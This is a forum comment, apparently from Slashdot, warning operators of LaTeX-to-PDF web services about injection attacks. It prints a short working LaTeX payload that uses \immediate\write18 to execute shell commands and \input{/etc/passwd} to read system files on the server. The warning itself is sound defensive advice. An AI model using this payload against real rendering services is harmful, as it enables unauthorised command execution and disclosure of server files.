News for hackers. Stuff that matters.
Re:Word processors are ditching equation editors in favour o... by stevekemp on Sunday June 16, 2019 @03:10AM (#20194252)
If you run/operate/host an online service which allows rendering user-submitted LaTeX you must care about security.

There are a bunch of sites which take arbitrary input and convert it to PDF - they're often easily exploited, to allow arbitrary files to be read from the server, and commands executed:

       \begin{document}
       \setlength{\parindent}{0cm}{\Huge \Hello}
       
       \bigskip
       \section*{Execute Commands}
       \immediate\write18{uptime> scriptoutput.tex}
       \immediate\write18{id >> scriptoutput.tex}
       \immediate\write18{ps -ef >> scriptoutput.tex}
       \begin{alltt}
       \input{scriptoutput.tex}
       \end{alltt}
       
       \bigskip
       \section*{Read Files}
       \begin{alltt}
       \input{/etc/passwd}
       \end{alltt}

There are no comments on this comment yet.